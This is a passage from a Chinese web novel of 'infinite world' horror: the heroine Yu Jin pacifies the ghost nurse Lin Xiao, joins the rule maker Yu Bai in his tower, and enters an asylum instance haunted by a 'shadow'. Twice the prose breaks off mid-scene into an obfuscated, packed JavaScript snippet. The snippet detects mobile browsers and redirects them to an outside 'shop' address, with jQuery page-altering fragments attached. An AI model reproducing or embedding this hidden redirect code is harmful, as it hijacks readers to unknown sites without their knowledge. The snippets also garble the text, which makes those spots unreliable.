虞锦翻开文件夹。 第一页是照片。 照片上是一个穿着粉色护士服的女人,笑容温柔,抱着一个婴儿。 正是刚才那个粉色护士。 但她的胸牌上写的不是“王芳”——而是“林晓”。 虞锦的手指顿住了。 林晓。 那个在墙上留字的女人。 那个“七天前”死在这里的玩家。 可是照片上的她穿着粉色护士服,抱着婴儿,笑容那么真实—— 她往下看报告。 “经调查,本次事故系护士长林晓操作失误所致。她在给新生儿洗澡时,水温过高,导致三名婴儿烫伤,其中一名抢救无效死亡。事后林晓试图掩盖,但被其他护士揭发。林晓于事发次日失踪,至今下落不明。” 失踪? 虞锦翻到下一页。 那是一份手写的遗书,字迹潦草: “我没有害死那个孩子。水温是正常的,是那个孩子本来就有问题。他们不信我,没有人信我。我会证明给他们看——我会回来的。我要让所有人都看看,什么才是真正的真相。” 落款:林晓。 日期:三年前。 虞锦盯着那行字,脑子里飞快地串起所有线索。 林晓没有死。她失踪了——或者说,她变成了这个副本的一部分。 她成了护士。 她改写了规则,让粉色变成“安全”,让白色变成“危险”——因为当初揭发她的护士穿的是白色。 她留下墙上的血字,假装是玩家留下的提示,其实是在引导后来的玩家相信“粉色危险、白色安全”——这样他们就会主动避开白色护士,落入她的陷阱。 而那些鬼婴—— 虞锦猛地抬起头。 那些鬼婴,是林晓杀的。 三年里,她杀了无数玩家,把他们变成鬼婴,让他们永远困在这里,陪着她。 她成了这个副本的BOSS。 而她刚才——刚才那个粉色护士,她问虞锦叫什么名字,她说“我记住你了”—— 她不是在威胁。 她是在挑选。 挑选下一个可以变成鬼婴的“孩子”。 【叮!你发现了副本真相:深夜月子中心的BOSS是“护士长林晓”。】 【隐藏任务:找到林晓,让她解脱。】 【任务难度:B级。】 【提示:林晓已经疯了。她把自己当成所有鬼婴的妈妈。想让她解脱,你需要证明——她不是。】 虞锦合上文件夹。 身后传来轻轻的脚步声。 她回过头。 门开着一条缝,缝里露出一只眼睛。 那只眼睛温柔得像三月的春风。 “你找到我了。”林晓的声音从门缝里传进来,“那你就别走了。” 门“砰”地关上。 灯灭了。 黑暗中,虞锦听到婴儿的哭声——这一次,只有一个。 但那个哭声,比刚才一百个加起来还要凄厉。 4. 深夜月子中心 黑暗。 纯粹的、浓稠的、让人窒息的黑暗。 虞锦站在原地,没有动。她的眼睛需要时间适应,但鼻腔先捕捉到了信息——消毒水的味道变浓了,浓到刺鼻。还有一股甜腻腻的香气,像劣质奶香,像婴儿爽身粉,像所有试图掩盖某种腐臭的东西。 “呜哇——” 那个哭声就在耳边。 很近。 近到虞锦能感觉到有什么湿漉漉的东西贴在自己小腿上。 她没有低头。 她闭上眼睛,深吸一口气,然后睁开。 【叮!您拥有特殊权限:规则观察者。】 【是否查看当前场景的隐藏规则?】 是。 一行金色的字浮现在黑暗中: 【隐藏规则:BOSS战——护士长林晓】 【规则一:林晓能变成任何你思念的人。但她只能维持五分钟。五分钟后,她会露出破绽。】 【规则二:林晓害怕镜子。因为她已经三年没有看过自己的脸。】 【规则三:不要相信她叫你的名字。她叫的越温柔,离你越近。】 【规则四:真正的林晓,藏在所有鬼婴的中间。最安全的地方,就是最危险的地方。】 虞锦看完,嘴角微微动了一下。 这个权限,真好用。 “虞锦——” 一个声音从左边传来。 那声音温柔、熟悉,带着一点点方言口音——是表姐。 “小锦,你在哪儿?我来接你了。” 虞锦没有转头。 “虞锦——” 右边又传来一个声音。是妈妈的声音,带着哭腔:“你这孩子,跑哪儿去了?妈找你好久了……” 虞锦的手指微微蜷缩了一下。 她三年没回家了。最后一次见妈妈,是在火车站,妈妈往她包里塞了一袋橘子,说“路上吃”。那袋橘子她吃到最后一个的时候,已经烂了。 “虞锦——” 前面。 是爸爸的声音。爸爸话少,只会叫她名字,叫完就沉默。但这个声音不一样,这个声音里有关心,有焦虑——爸爸从来没这么明显地表达过情绪。 “虞锦——” 后面。 “虞锦——” 四面八方。 所有的声音都在叫她。 那些声音里有表姐、有妈妈、有爸爸、有大学室友、有高中班主任、有已经去世的外婆——外婆的声音最清晰,因为外婆说话总带着笑,哪怕是在叫她的名字。 “囡囡,到外婆这儿来。” 虞锦的睫毛颤了一下。 她七岁那年,外婆走的。走之前拉着她的手说“囡囡要乖,外婆去给你买糖”。然后就没回来。 那是她人生中第一次知道什么叫“再也见不到”。 “囡囡——” 外婆的声音越来越近。 “外婆想你了。你来看看外婆,好不好?” 虞锦慢慢转过头。 黑暗中,一个佝偻的身影浮现出来。花白的头发,洗得发白的蓝布褂子,那双永远笑眯眯的眼睛—— 是外婆。 一模一样。 连走路微微跛脚的姿势都一样——外婆年轻时摔过一跤,右腿落了病根。 “囡囡。”外婆伸出手,那只手干枯、粗糙,但虞锦记得,小时候这只手给她梳头,扎的辫子总是歪的,“来,让外婆看看,瘦了没有?” 虞锦看着她。 看了很久。 然后她开口,声音很轻: “外婆。” “诶。”外婆笑着,往前走了一步。 “外婆最喜欢给我做什么吃的?” 外婆的脚步顿了一下。 “糖……糖醋排骨?” “不对。”虞锦说,“外婆牙口不好,吃不了排骨。她最喜欢给我做的是——蒸蛋羹。因为她只能吃软的,所以全家都陪她吃软的。我爸吃了三年蒸蛋羹,后来看见鸡蛋就想吐。” “外婆”愣住了。 那张慈祥的脸开始扭曲,像融化的蜡烛,五官往下淌,露出底下的另一张脸—— 惨白、浮肿、眼眶深陷。 是林晓。 “你怎么知道的?”她盯着虞锦,声音里带着不甘,“我观察了你那么久,你所有的资料我都看过——你外婆就是最疼你的人,你应该……” “我应该被她迷惑?”虞锦打断她,“是,我外婆确实最疼我。但正因为她疼我,她才不会让我去‘她那儿’。” 她看着林晓: “我外婆死的时候,最后一句话是‘囡囡要好好的,活到一百岁’。她让我活着,不是让我去死。” 林晓沉默了。 黑暗中,那些声音也消失了。 只剩下两个人,面对面站着。 “你失败了。”虞锦说,“还有四分钟,你变不了第二次。接下来你打算怎么办?硬打?” 林晓低下头。 她的肩膀开始颤抖。 一开始虞锦以为她在笑——但仔细听,那不是笑,是哭。 压抑的、破碎的、像玻璃渣子扎在喉咙里的哭声。 “凭什么……”林晓喃喃着,“凭什么你有人想……凭什么你死了还有人惦记……我呢?我呢?!” 她抬起头,脸上的表情彻底变了。 不再是温柔,不再是伪装,而是一种赤裸裸的、扭曲的疯狂。 “我没有害死那个孩子!”她嘶吼着,“我没有!那个孩子生下来就有病,心脏没长全,活不过三天!我只是给他洗澡的时候他刚好断了气——他们凭什么怪我?!” 虞锦没有说话。 “那些护士,她们早就看我不顺眼,因为我当上了护士长,因为我和院长走得近——她们联合起来诬陷我!”林晓的声音越来越高,“没有人信我,没有一个人!” 她伸出手,指着周围的黑暗: “所以我让她们都留下来了。那个穿白色护士服的,就是带头诬陷我的——她现在每天都要给那些鬼婴洗澡,洗一遍又一遍,永远洗不完!” 虞锦的瞳孔微微收缩。 “那些婴儿呢?”她问。 林晓愣了一下。 “那些死掉的婴儿——你说那个孩子生下来就有病,活不过三天。那其他婴儿呢?这个副本里这么多鬼婴,都是哪儿来的?” 林晓的表情僵住了。 “是你杀的吧。”虞锦说,声音很轻,“不是直接杀,是困住。你把所有死在这个副本里的玩家都变成了鬼婴,让他们永远留在这里,陪着你。你嘴上说是她们的妈妈,其实你只是不想一个人。” 林晓的嘴唇在抖。 “闭嘴……” “你三年没照过镜子了,对吧?”虞锦继续说,“因为你不敢看自己变成了什么样子。你害怕看到自己眼里的疯狂,害怕承认——你和那些诬陷你的人,没有什么不同。” “闭嘴!!” 林晓扑了过来。 她的速度快得惊人,那张扭曲的脸瞬间贴到虞锦面前,指甲又黑又长,直插虞锦的眼睛—— 虞锦没有躲。 她抬起手,手里握着一样东西。 手机。 黑屏的手机。 屏幕上映出了林晓的脸。 “啊——!!!” 林晓惨叫着后退,双手捂住脸,整个人缩成一团。 “别照!别照我!那不是我的脸——那不是——” 虞锦走近一步,把手机屏幕对着她。 “这就是你的脸。”她说,“你看清楚。你变成什么样了。” 林晓从指缝里看过去。 屏幕上,一张惨白的、浮肿的、眼眶深陷的脸在颤抖。嘴角挂着黑色的液体,皮肤上爬满了尸斑,头发一缕一缕地往下掉—— “不……”林晓的声音越来越弱,“这不是我……我是林晓……我是护士长……我是……” “你是林晓。”虞锦说,“三年前被人冤枉的林晓。你委屈,你愤怒,你不甘心——但你现在做的事,比那些诬陷你的人更过分。” 她蹲下来,平视着缩成一团的林晓: “你杀了多少人?把他们变成鬼婴,让他们也永远困在这里——那些人有父母,有家人,他们也在等自己的孩子回去。你把他们变成这样,和当年害你的人有什么区别?” 林晓的肩膀抖得更厉害了。 “我……我只是想有人陪我……” “我知道。”虞锦的声音忽然软下来,“一个人太久了,对吧?” 林晓的哭声顿了一下。 “三年。”虞锦说,“整整三年,没有人听你说话,没有人相信你,你只能自己跟自己说话,自己骗自己说你是那些鬼婴的妈妈——很累吧?” 林晓慢慢抬起头。 那双疯狂的眼睛里,忽然多了一点别的东西。 委屈。 像孩子一样的委屈。 “我真的……没有害那个孩子……”她喃喃着,声音越来越轻,“我只是想好好当护士……我喜欢小孩子……我……” 虞锦伸出手。 这一次,她的手悬在空中,没有碰到林晓。 “我相信你。”她说。 林晓愣住了。 “那个孩子本来就活不了,你只是刚好在给他洗澡的时候发生了意外——我相信你。” 林晓的眼泪流了下来。 黑色的眼泪。 “可是……可是已经没有人需要真相了……”她哭着说,“三年了……那些护士被我困住了……那些玩家变成鬼婴了……我回不去了……” “那就别回去。”虞锦说,“往前走。” 她指了指上方——虽然那里只有黑暗,但林晓顺着她的手指看过去,仿佛真的看到了什么。 “往前走,离开这里。去找那个真正该负责的人——那些诬陷你的人,她们现在在哪儿?” 林晓的眼神恍惚了一下。 “她们……她们好像还活着……有一个调去了市里的医院……有一个退休了……” “那就去找她们。”虞锦说,“该偿命的偿命,该道歉的道歉。困在这里,你永远得不到解脱。” 林晓看着她。 看了很久。 然后她笑了。 那是一个很轻的、很淡的笑,褪去了疯狂,褪去了扭曲,只剩下一点点疲惫,和一点点释然。 “你……真奇怪。”她说,“别的玩家都想杀我,只有你……” “只有我想让你自己走。”虞锦收回手,“因为杀你,太便宜你了。你欠的那些人命,得你自己去还。” 林晓站起来。 她的身体开始变淡,像一团雾正在被风吹散。 “谢谢你。”她说,“还有——那个男人,一直在看你的那个,他……” 她顿了顿,嘴角露出一丝意味深长的笑: “他看你的眼神,和看别人不一样。你小心点。” 说完,她消失了。 【叮!BOSS“护士长林晓”已被感化。】 【恭喜您通关副本:深夜月子中心。】 【通关评分:S级(隐藏剧情达成率100%)】 【获得积分:2000】 【获得特殊道具:林晓的护士牌(可携带进入下一个副本,有一定概率触发隐藏剧情)】 【获得称号:鬼婴之母(对所有婴儿类怨灵有天然亲和力)】 周围的黑暗开始消散。 虞锦发现自己站在月子中心的大门口。天已经亮了,阳光从玻璃门透进来,暖洋洋的。 身后传来脚步声。 西装男、小美、张桂芬从里面跑出来,看到虞锦,都愣住了。 “你……你怎么出来的?”西装男瞪大眼睛,“我们被困在那个办公室里,门怎么也打不开,然后突然就……” “门开了?”虞锦问。 “对!突然就开了,然后我们就跑出来了!”小美脸上还挂着泪痕,“那个粉色的护士……她站在走廊那头,对我们笑了一下,然后就不见了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343294|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞锦点点头。 “通关了。”她说。 “通关了?”张桂芬不敢相信,“就这么……通关了?不用打BOSS?” “已经打完了。” 三个人面面相觑。 “你……一个人?”西装男的声音变了。 虞锦没有回答。 她低下头,看着手里的护士牌。 那是一块普通的塑料牌,上面印着林晓的照片和名字。照片上的她笑得很温柔,和刚才那个疯狂的样子判若两人。 护士牌背面,刻着一行小字: “我多想,再抱抱他们。” 虞锦把护士牌收进口袋。 玻璃门外,阳光很好。 她推开门,走出去。 外面是一片白茫茫的空间,什么都没有,只有一行金色的字悬浮在空中: 【恭喜您完成新手副本。】 【即将进入主世界:规则之城。】 【传送倒计时:10、9、8……】 “等等——” 身后传来一个声音。 虞锦回头。 西装男跑过来,喘着气,表情复杂: “我叫周明远,如果……如果在主世界遇到了,可以互相照应。你很强,我想交个朋友。” 虞锦看了他一眼,点点头。 “虞锦。” “我知道你名字。”周明远笑了笑,“我会记住的。像你这样的人,在无限世界里,要么死得很快,要么走得最远。我希望你是后者。” —— 【3、2、1——传送开始。】 白光吞没了一切。 虞锦再次睁开眼睛的时候,发现自己站在一条街上。 一条很普通的街。 有商店,有行人,有红绿灯,有卖煎饼果子的小摊。 如果不是头顶的天空是灰白色的,如果不是远处能看到漂浮的巨大的副本入口光柱——这里真的和普通城市没什么区别。 【欢迎来到规则之城。】 【这里是无限世界的中转站,所有玩家在这里休息、交易、组队、接取副本任务。】 【您当前的位置:东区第七街道。】 【您的账户余额:2750积分。】 虞锦站在原地,还没来得及消化这些信息,肩膀被人拍了一下。 她回头。 一个穿黑衣服的男人站在身后,手里拿着一个煎饼果子,正咬得嘎嘣脆。 郁白。 “出来了?”他问,嘴里还嚼着,“比我想的快。” 虞锦看着他,一时不知道该说什么。 郁白咽下那口煎饼果子,忽然凑近了一点,低头看着她: “林晓最后跟你说什么了?” 虞锦往后仰了仰,拉开距离: “说你眼神不对劲。” 郁白愣了一下。 然后他笑了,笑得眼睛弯起来,和那个疯狂又温柔的林晓竟然有几分相似。 “她说得对。”他说。 “什么?” “我眼神确实不对劲。”郁白又咬了一口煎饼果子,转身往前走,“走吧,带你去个地方。” 虞锦没动。 “去哪儿?” 郁白头也不回,声音飘过来: “我家。” 虞锦:? “别想歪。”他的声音里带着笑,“是让你看一样东西——关于这个世界的真相。你不是说要修订规则吗?总得先知道规则是怎么来的。” 他停下脚步,回头看她。 阳光——如果那灰白的光能叫阳光的话——落在他脸上,让那张总是带着玩味的脸上,第一次有了一点认真的表情。 “敢来吗?”他问。 虞锦看着他。 看着这个第一次见面就杀了伪装者、第二次见面把她按在墙上、第三次见面给了她特殊权限的男人。 这个男人是规则制定者。 是这个世界的“神”。 而现在,他在邀请她去他家。 虞锦忽然笑了。 “有什么不敢的。”她走过去,和他并肩,“煎饼果子哪儿买的?给我也来一个。” 郁白挑了挑眉。 “你不怕我下毒?” “你如果想杀我,早杀了。”虞锦说,“用不着下毒。” 郁白沉默了一秒。 然后他笑了,这次是真的笑,笑得肩膀都在抖。 “虞锦。”他叫她的名字,第一次叫得这么认真,“你真的很有意思。” “你说了三遍了。” “那我说点别的。”他忽然停下脚步,转身看着她,“你刚才说,规则是用来修订的。那如果我想请你帮我修订这个世界的规则——你愿意吗?” 虞锦看着他。 他眼里没有玩味,没有试探,只有一种她看不太懂的东西。 像是期待,又像是——害怕被拒绝。 “你是在邀请我组队?”她问。 “算是吧。” “有工资吗?” 郁白愣了一下,然后笑出声。 “积分管够。” “那行。”虞锦伸出手,“合作愉快。” 郁白看着她的手,慢慢握上去。 他的手很凉,但握着很稳。 “合作愉快。” 远处,一个巨大的副本光柱闪烁了一下,像在提醒所有人——这个世界从不休息。 但此刻,在这条普通的街上,两个刚刚达成协议的人,正并排走向一个煎饼果子摊。 “老板,一个煎饼果子,加俩蛋。”虞锦说。 “你不问问我要带你去哪儿?”郁白在旁边问。 “到了就知道了。” “你不怕我骗你?” “骗我有什么好处?” 郁白想了想,摇头。 “那就行了。”虞锦接过煎饼果子,咬了一口,“味道不错。” 郁白看着她,忽然觉得—— 这个世界,好像没那么无聊了。 5. 规则之城 煎饼果子吃到第三口的时候,虞锦发现不对劲。 街还是那条街,摊还是那个摊,行人还是那些行人——但他们不动了。 卖煎饼的大叔保持着翻面的姿势,锅里的鸡蛋凝固在半空。路过的小孩脚抬着,没落下去。连风都停了,一片树叶悬在虞锦眼前,纹丝不动。 “别紧张。”郁白咬了口煎饼,嚼得嘎嘣脆,“我让他们停的。” 虞锦看了眼他:“你吃个煎饼还要清场?” “不是清场。”郁白往前走,“是接下来的路,他们走不了。” 他抬手,在空中画了个圈。 那个圈像被撕开的纸,露出里面的黑洞。 “走吧。” 郁白跨进去,消失在黑暗里。 虞锦看了看手里还剩一半的煎饼,咬咬牙,跟了上去。 跨过那个圈,世界瞬间变了。 没有街道,没有行人,没有灰白的天空。 只有一座塔。 一座黑色的、高得看不见顶的塔,矗立在一片虚无之中。塔身没有窗户,没有门,只有无数道金色的光痕像血管一样爬满表面,一明一暗,像在呼吸。 “这是……”虞锦仰头,脖子都快仰断了,还是看不见顶。 “我家。”郁白走在前面,塔身自动裂开一道门,“也是这个世界的核心。” 虞锦跟着他走进去。 塔里面比外面更震撼。 巨大的圆形空间,从地面到穹顶全是悬浮的光幕。每一块光幕上都在播放着什么——有的是一群人尖叫着逃跑,有的是一个怪物在追杀玩家,有的是某个副本的场景在循环播放。 虞锦粗略扫了一眼,至少有几万块光幕。 “这些是……” “正在进行的副本。”郁白说,“D级到SSS级,一共三万四千七百二十八个。每时每刻都有玩家在里面挣扎,每时每刻都有人在死。” 他的语气很平淡,像在说今天的天气。 虞锦沉默了。 她看着那些光幕,看着里面的人——有的在哭,有的在笑,有的在拼命跑,有的已经倒在血泊里。 “你每天都看这个?” “看了……不知道多久。”郁白走到一块最大的光幕前,“久到已经记不清时间了。” 他伸出手,光幕上浮现出一行行文字: 【当前在线玩家:1,247,893人】 【今日死亡人数:8,347人】 【今日通关人数:2,156人】 “看到了吗?”他说,“每天死的人,是通关的四倍。但每天还是有新的人进来,前赴后继,永无止境。” 虞锦看着那些数字,忽然问: “我是第几个?” 郁白看了她一眼。 “你指什么?” “今天进来的新人里,我是第几个?” 郁白沉默了一秒,抬手在空中一点。 一块新的光幕落下来,上面写着: 【今日新人名单(共247人)】 【第1名:张伟——已死亡(新手副本:午夜网吧)】 【第2名:李娜——已死亡(新手副本:深夜妇产科)】 【第3名:王强——存活(新手副本:废弃游乐园)】 …… 【第132名:虞锦——存活(新手副本:深夜月子中心)】 …… 【第247名:赵小雪——存活(新手副本:末班地铁)】 “第132个。”郁白说,“你今天进来的,现在排名第132。但按照存活率算,三天后,你们这批新人里能活下来的,不超过50个。” 虞锦看着那个名单。 132。 一个普普通通的数字。 “你告诉我这些,是想说什么?”她问,“让我珍惜生命,好好活着?” “不是。”郁白转身看着她,“我是想告诉你——在这个世界,数字没有任何意义。重要的不是你排第几,而是你能不能成为那个‘例外’。” 他走近一步,低头看她: “而我见过的所有玩家里,你是最像‘例外’的那个。” 虞锦对上他的目光。 那双眼睛里没有玩味,没有试探,只有一种认真的、近乎审视的光芒。 “所以你真的只是想让我帮你修订规则?”她问,“还是说,你有别的目的?” 郁白的嘴角微微上扬。 “两者都有。” 他转身,走向塔的更深处。 虞锦跟上去。 穿过光幕林立的“监控大厅”,郁白带她来到一扇门前。 一扇纯黑色的门,没有任何装饰,只在门把手的位置刻着一行小字: “进来之前,想清楚。” “这是什么?”虞锦问。 “规则之源。”郁白说,“这个世界所有规则的底层代码。你想修订规则,就得先知道规则是怎么来的。” 他推开门。 门后是一个小小的房间。 房间正中央,悬浮着一团光。 那团光不是金色,不是白色,而是一种说不上来的颜色——像所有颜色混在一起,又像什么颜色都没有。 光团周围,无数根透明的丝线延伸出去,穿过墙壁,通向四面八方。 “这些线……”虞锦伸手,想碰一下那些丝线。 “别碰。”郁白拦住她,“每一根线都连接着一个副本的核心规则。你碰了,那个副本的规则就会紊乱,里面的玩家会瞬间死亡。” 虞锦收回手。 她看着那团光,看着那些密密麻麻的丝线,忽然有一种奇怪的感觉—— 这团光,好像在看她。 “它……有意识?”她问。 郁白沉默了很久。 然后他说: “以前没有。现在……可能有。” 他看向那团光,眼神复杂: “这个世界的规则,最初不是我写的。我只是继承者。” “继承者?从谁那里?” 郁白没有回答。 他抬手,在空中划了一下。 一块光幕从虚空中落下来。 光幕上是一个女人的背影。 她站在一片废墟上,身后是燃烧的天空。她的头发很长,被风吹起来,看不清脸。 【规则制定者档案:第一任】 姓名:未知 代号:起源 状态:已离开 备注:她在某一天突然出现,创造了这个世界的底层规则。然后又突然消失,只留下一句话—— 光幕上浮现出一行字: “规则是用来保护你们的,不是用来束缚你们的。如果有人想用规则困住你——就把它打破。” 虞锦的瞳孔猛地收缩。 这句话—— 她听过。 在梦里?在记忆里?还是…… 她脑子里突然闪过一个模糊的画面: 一个女人,背对着她,声音温柔又遥远: “记住,规则是用来保护你的,不是用来束缚你的。如果有人想用规则困住你——就把它打破。” 和光幕上那句话,一模一样。 “怎么了?”郁白注意到她的异常。 虞锦没说话。 她盯着光幕上那个女人的背影,盯着那头长发,盯着那个模糊的轮廓—— 那个背影,和她一模一样。 不对。 那就是她。 或者说,那是和她长得一模一样的人。 “这个人……”她开口,声音有点干,“有没有正面照?” 郁白看了她一眼,手指一动。 光幕上的画面切换。 那个女人的正面—— 虞锦愣住了。 那是一张和她一模一样的脸。 眼睛、鼻子、嘴唇,甚至连眉眼间的神情,都像一个模子刻出来的。 唯一的区别是,那个女人的眼神更疲惫,像看过太多、经历过太多。 “你认识她?”郁白问。他的声音很平静,但虞锦听出了一丝不寻常的紧张。 “我……”虞锦张了张嘴,“我不知道。但她和我长得一模一样。” 郁白没有惊讶。 他只是看着她,看了很久。 然后他说: “我以为你会这么说。” 他走到那团光旁边,伸手——不是碰,只是悬在光团上方。 光团开始变化。 那些混乱的颜色慢慢褪去,浮现出一行行金色的文字: 【底层规则核心代码】 【规则一:所有玩家必须遵守副本规则,违者抹杀。】 【规则二:副本难度与玩家实力挂钩,但不排除随机死亡机制。】 【规则三:通关者可获得积分,积分可用于兑换道具、技能、复活机会。】 …… 【规则七十九:第一任规则制定者的血脉,将不受任何规则约束。】 虞锦盯着最后那行字。 第一任规则制定者的血脉,将不受任何规则约束。 不受任何规则约束。 难怪她能无视规则,难怪她能安抚鬼婴,难怪郁白说她是“规则的漏洞”。 “我是……”她看向郁白,“她的后代?” “不一定。”郁白说,“也可能是她的转世,她的复制体,她的某种延续。我不知道。我只知道,你出现的那天,这团光——” 他指了指那团光: “它亮了。” 光团像是听懂了他的话,微微颤动了一下。 那一瞬间,虞锦感觉到一种奇怪的连接。 像是有什么东西,从光团里延伸出来,轻轻碰了一下她的意识。 不是恶意,不是试探。 而是一种—— “你终于来了。” 虞锦猛地后退一步。 “它说话了?” 郁白的眼神微微变化。 “它说什么?” 虞锦看着他,一字一句: “它说:你终于来了。” 房间里安静得可怕。 那些透明的丝线轻轻晃动,像是有什么东西正在沿着它们传递。 突然,其中一根丝线——连接着某块光幕的那根——猛地绷紧,然后“啪”地一声断了。 郁白脸色一变。 “有副本出事了。” 他转身冲出去,虞锦跟在后面。 监控大厅里,一块光幕正在剧烈闪烁。 光幕上是一个副本的画面:一座废弃的精神病院,走廊里全是血,墙上用血写满了同一个词: “妈妈” “这是……”虞锦看着那个画面,后背发凉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343295|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “S级副本:慈爱精神病院。”郁白的声音发紧,“但它应该是封存状态,怎么会被激活……” 话没说完,光幕上出现了一个人影。 一个穿着病号服的女人,背对着镜头,头发披散下来,遮住了脸。 她慢慢转过身—— 那是一张和林晓一模一样的脸。 但比林晓更苍白,更疯狂,眼睛完全变成了黑色。 她对着镜头,笑了。 然后她开口,声音从光幕里传出来,回荡在整个塔里: “虞锦——” 虞锦的瞳孔收缩。 那个女人知道她的名字。 “谢谢你放我出来。”女人笑着说,“我等这一天,等了三年。” 她抬起手,手里握着一块塑料牌—— 林晓的护士牌。 但那个护士牌,虞锦明明收在自己口袋里。 虞锦下意识摸向口袋。 空的。 “你在找我吗?”光幕里的女人歪着头,笑容越来越大,“它现在在我这里哦。你送给我的东西,我会好好珍惜的。” 她举起那块护士牌,对着光幕晃了晃。 然后她张开嘴,把护士牌塞了进去。 咀嚼。 吞咽。 “咯吱咯吱”的声音,从光幕里传出来,让人头皮发麻。 “你到底是什么?”郁白的声音冷下来。 女人咽下最后一块护士牌,舔了舔嘴唇。 “我是林晓啊。”她说,“也是她妈妈。也是每一个被抛弃的女人。也是——” 她盯着虞锦,黑色的眼睛里倒映出虞锦的脸: “也是你。” 光幕“啪”地一声,黑了。 房间里陷入短暂的寂静。 然后,那些光幕一块接一块,开始闪烁。 每一块光幕上,都出现了同一个画面—— 那个穿病号服的女人,站在不同的副本里,对着镜头笑。 “虞锦——”她的声音从每一块光幕里传出来,层层叠叠,像无数个人在同时呼唤。 “来找我。” “不然——” 画面切换。 所有光幕同时变成同一个场景: 无数玩家被吊在半空,脚下是无尽的深渊。他们的脸都变成了同一个样子——虞锦的脸。 “不然,我就让所有人,都变成你。” 光幕黑了。 整个监控大厅陷入死一般的寂静。 良久,郁白开口,声音很轻: “你知道她是谁吗?” 虞锦摇头。 郁白看着那片黑暗的光幕,一字一句: “她是第一任规则制定者的——影子。” “影子?” “每一个规则制定者,在创造规则的同时,都会创造出一个‘反面’。”郁白说,“那是最初被抛弃的规则、被抹杀的可能性、被遗忘的情绪——它们聚合在一起,就成了影子。” 他看着虞锦: “你的那个‘她’,在消失之前,留下的影子。它困在精神病院副本里三年,一直被封印。但现在——” “现在它出来了。”虞锦接过话,“因为我也出现了。” 郁白点头。 沉默。 然后虞锦忽然笑了。 “好啊。” 郁白看着她,微微皱眉:“好什么?” “既然她要我去找她,那我就去找她。”虞锦转身,看向那些重新亮起的光幕,“她不是说她在那个精神病院吗?” “那是S级副本。”郁白说,“以你现在的等级,进去就是送死。” “那你就陪我进去。” 郁白愣了一下。 虞锦看着他:“你不是要和我合作吗?正好,第一个合作任务——帮我找回我‘妈妈’留下的烂摊子。” 郁白沉默了几秒。 然后他笑了。 “好。”他说,“不过我有条件。” “什么?” 郁白走近一步,低头看着她: “活着回来。” 他的声音很轻,但很认真。 虞锦对上他的目光,忽然想起林晓最后说的那句话: “他看你的眼神,和看别人不一样。” 她移开视线。 “废话。”她说,“我又没想死。” 远处,那些光幕一块接一块恢复正常,仿佛刚才的一切只是一场幻觉。 但虞锦知道不是。 那个“影子”在等着她。 那个和她长得一模一样的女人,在精神病院的深处,等着她自投罗网。 而她口袋里那块消失的护士牌—— 不对。 她摸了摸口袋。 那块护士牌,还在。 那光幕里那个女人吃掉的,是什么? 虞锦把护士牌拿出来,对着光看了看。 牌子上的林晓,那双眼睛,忽然眨了一下。 虞锦的手顿住了。 “怎么了?”郁白问。 虞锦把护士牌收回去,摇摇头: “没什么。” 但她心里知道—— 这块牌子,从一开始,就不是林晓的。 它是别的什么东西。 而那个东西,现在正躺在她的口袋里,安静地,等待着什么。 6. 慈爱精神病院 虞锦没有等到第二天。 当晚,她住在规则之城的旅店里,刚闭上眼睛,就听见有人在敲门。 不是房门。 是脑海里的门。 “咚咚咚。” 三声,不轻不重,像小孩子在试探着叫大人起床。 虞锦睁开眼睛。 房间里很黑,但窗户外面有光——那些永不停歇的副本光柱把夜空照得像霓虹灯下的不夜城。 “咚咚咚。” 又是三声。 这一次,声音从四面八方传来。 虞锦坐起来,伸手去摸床头柜上的护士牌。 手指碰到的一瞬间,世界变了。 她站在一条走廊里。 长长的,看不见尽头的走廊。两侧是一扇扇紧闭的门,门上贴着白色的名牌,上面的字迹已经模糊不清,只能隐约看见编号: 01、02、03…… 一直排到看不见的远方。 空气里弥漫着一股味道——不是消毒水,而是一种更刺鼻、更压抑的气息。 福尔马林。 混着腐烂的、甜腻腻的什么东西。 【叮——欢迎进入S级副本:慈爱精神病院。】 【副本难度:S】 【副本状态:已解封(由“影子”亲自激活)】 【任务:存活72小时。】 【当前存活玩家:1/1】 【温馨提示:这里的每一个病人,都曾是某人的孩子。但他们现在,只想找一个新妈妈。】 虞锦低头看了看自己。 她还穿着睡前的那身衣服,但外面多了一件——蓝白条纹的病号服,胸口绣着三个数字: 132 和她今天进入无限世界时的排名一样。 “巧合?”她轻声问自己。 没有人回答。 但走廊尽头,传来了脚步声。 很轻,很慢,像有人穿着软底拖鞋在地板上拖行。 一个穿白色护士服的女人从黑暗中走出来。她推着一辆不锈钢的小推车,车上摆满了药杯。每一个药杯里都装着颜色诡异的液体——有的是红的,有的是绿的,有的是浑浊的灰白色。 护士走到虞锦面前,停下。 她抬起头。 那是一张普通的脸,三十多岁,眉眼温和,嘴角带着职业性的微笑。如果不是她的眼睛——那双眼睛里没有瞳孔,只有一片乳白色——她看起来和任何一个医院的护士没什么区别。 “132号病人,”她开口,声音温柔,“该吃药了。” 她从推车上拿起一个药杯,递给虞锦。 杯子里是红色的液体,浓稠得像稀释过的血。 【触发规则:每天早晚,护士会来发药。你必须把药喝掉。】 【隐藏规则一:不同颜色的药有不同的效果。红色是镇定剂,喝了会嗜睡;绿色是兴奋剂,喝了会产生幻觉;灰色是……没有人知道灰色是什么,因为喝过的人都消失了。】 